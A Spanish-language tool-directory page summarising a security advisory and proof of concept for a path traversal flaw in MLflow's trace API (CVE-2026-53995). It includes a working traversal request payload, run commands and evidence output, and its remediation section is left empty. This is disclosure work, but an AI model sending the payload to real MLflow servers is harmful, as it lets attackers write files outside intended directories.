Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-53995-mlflow-path-traversal — MLflow <=3.17.1 permite, mediante salto de ruta, la escritura de archivos de traza fuera del directorio previsto. | Kitploit
Herramientas/GitHubGitHub/saiteja-erukude/cve-2026-53995-mlflow-path-traversal
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPapers e Investigación
GitHubsaiteja-erukude/cve-2026-53995-mlflow-path-traversal

CVE-2026-53995-mlflow-path-traversal

MLflow <=3.17.1 permite, mediante salto de ruta, la escritura de archivos de traza fuera del directorio previsto.

Ver Repositorio
1hace 27 díasAún no revisado
Compartir

CVE-2026-53995: MLflow <= 3.17.1 StartTraceV3 Path Traversal

Severidad: Alta, CVSS 3.1 8.2

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Afectado: Versiones de MLflow <= 3.17.1 al usar el backend de seguimiento FileStore

Componente: API de MLflow Tracing, StartTraceV3 / FileStore.start_trace()

CWE: CWE-22 (Limitación incorrecta de un nombre de ruta a un directorio restringido), CWE-23 (Path Traversal relativo), CWE-73 (Control externo del nombre de archivo o ruta)

Descubierto y reportado por: Sai Teja Erukude


Resumen

MLflow acepta un trace_info.trace_id controlado por el cliente a través de la API de tracing StartTraceV3. Cuando el backend de seguimiento es FileStore, este ID se utiliza en la construcción de rutas del sistema de archivos sin rechazar segmentos de traversal como ../.

Un atacante puede enviar un ID de traza como ../../../escaped-trace-dir para escapar del directorio de trazas del experimento previsto. MLflow entonces crea archivos relacionados con la traza en el directorio resuelto fuera del árbol de almacenamiento de trazas.

Impacto

Cuando el endpoint de tracing está expuesto sin autenticación ni restricciones de acceso, un cliente no autenticado puede influir en la ubicación en el sistema de archivos de los archivos de traza controlados por MLflow en un servidor respaldado por FileStore, sujeto a los permisos del sistema de archivos del proceso del servidor. El PoC incluido utiliza el cliente de prueba local de Flask; no prueba la exposición de red ni la configuración de autenticación de un despliegue.

El PoC demuestra escrituras fuera del directorio de trazas del experimento previsto:

  • trace_info.yaml, que contiene información de traza proporcionada por el cliente.
  • request_metadata/poc_metadata, que contiene metadatos controlados por el atacante.
  • tags/poc_tag, que contiene un valor de etiqueta controlado por el atacante.

Esto afecta a la integridad al permitir que los datos de la solicitud controlen dónde se escriben los archivos relacionados con la traza. Los directorios y archivos inesperados fuera del árbol de almacenamiento de trazas también pueden causar un impacto limitado en la disponibilidad. La escritura demostrada utiliza los formatos de archivo y nombres de archivo de traza de MLflow; no establece contenidos de archivo arbitrarios, ejecución de código ni un impacto en la confidencialidad.

El informe asigna las siguientes métricas CVSS 3.1:

MétricaValor
Vector de ataque (AV)Red (N)
Complejidad del ataque (AC)Baja (L)
Privilegios requeridos (PR)Ninguno (N)
Interacción del usuario (UI)Ninguna (N)
Alcance (S)Sin cambios (U)
Confidencialidad (C)Ninguna (N)
Integridad (I)Alta (H)
Disponibilidad (A)Baja (L)

Detalle técnico

La ruta de solicitud vulnerable es:

POST /api/3.0/mlflow/traces
  -> _start_trace_v3()
  -> TraceInfo.from_proto(...)
  -> FileStore.start_trace(trace_info)
  -> filesystem path construction using trace_info.trace_id
  -> directory creation and trace information, metadata, and tag writes

La solicitud proporciona el ID dentro de trace.trace_info:

{
  "trace": {
    "trace_info": {
      "trace_id": "../../../escaped-trace-dir",
      "trace_location": {
        "type": "MLFLOW_EXPERIMENT",
        "mlflow_experiment": {
          "experiment_id": "0"
        }
      },
      "trace_metadata": {
        "poc_metadata": "attacker-controlled metadata"
      },
      "tags": {
        "poc_tag": "attacker-controlled tag"
      }
    }
  }
}

Este fragmento muestra los campos relevantes para el recorrido. El runner construye la solicitud completa, incluidos los campos de estado de traza, marca de tiempo y vista previa.

El ID controlado por el cliente produce la siguiente resolución de ruta relativa al directorio del PoC:

Expected trace storage: mlruns/0/traces/
Supplied trace ID:      ../../../escaped-trace-dir
Joined trace path:     mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path:   escaped-trace-dir/

La respuesta guardada devuelve HTTP 200 y conserva el ID de traza malicioso. Los archivos resultantes se ubican junto a mlruns/, fuera del directorio de traza de experimento previsto.

Prueba de concepto

run_poc.py construye una solicitud StartTraceV3 maliciosa, configura un FileStore local, invoca la ruta HTTP real de MLflow a través del cliente de prueba de Flask y registra la respuesta y la evidencia del sistema de archivos. Ejercita la ruta sin iniciar un servidor de red a la escucha.

python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py

Para imprimir el resultado legible por máquina:

python -B run_poc.py --json

El contenido de evidencia guardado contiene estos resultados, abreviados aquí:

{
  "package": {
    "distribution": "mlflow",
    "version": "3.17.1"
  },
  "endpoint": "/api/3.0/mlflow/traces",
  "status_code": 200,
  "malicious_trace_id": "../../../escaped-trace-dir",
  "checks": {
    "http_success": true,
    "trace_info_written_outside_traces_dir": true,
    "trace_metadata_file_written": true,
    "tag_file_written": true
  },
  "success": true
}

El runner guarda:

  • evidence/start-trace-request.json: el cuerpo completo de la solicitud.
  • evidence/start-trace-response.json: la respuesta del servidor.
  • evidence/escaped-trace-info.yaml: una copia de la información de la traza escrita fuera del directorio de trazas.
  • evidence/summary.json: la versión del paquete, las rutas resueltas, el código de estado y los resultados de la verificación.

success: true y el código de salida 0 significan que el recorrido de rutas se reprodujo. Una comprobación fallida devuelve el código de salida 1; esto por sí solo no demuestra que una versión esté corregida.

El payload escribe datos de traza de demostración bajo escaped-trace-dir/ dentro del directorio del PoC. El runner también escribe mlruns/ y evidence/; volver a ejecutarlo reemplaza la evidencia guardada. Use una copia nueva al recopilar resultados nuevos, porque el runner comprueba si existen archivos que puedan quedar de una ejecución anterior. Las rutas absolutas en la evidencia guardada identifican el entorno de reproducción original y serán diferentes en una nueva copia del repositorio.

Se incluye un video de demostración local.

Remediación

Valide los ID de traza en el límite de FileStore antes de construir rutas o crear directorios:

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    786
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    506
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    429
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    262
  • 6

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    256

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →